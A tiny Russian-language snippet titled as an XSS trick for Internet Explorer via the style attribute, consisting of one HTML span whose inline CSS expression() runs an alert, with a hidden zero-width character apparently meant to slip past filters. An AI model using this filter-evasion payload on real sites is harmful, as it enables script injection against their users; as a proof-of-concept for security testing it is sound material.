XSS для IE через style

<span style="width: exp​ression(alert('OLOLO!'));"></span>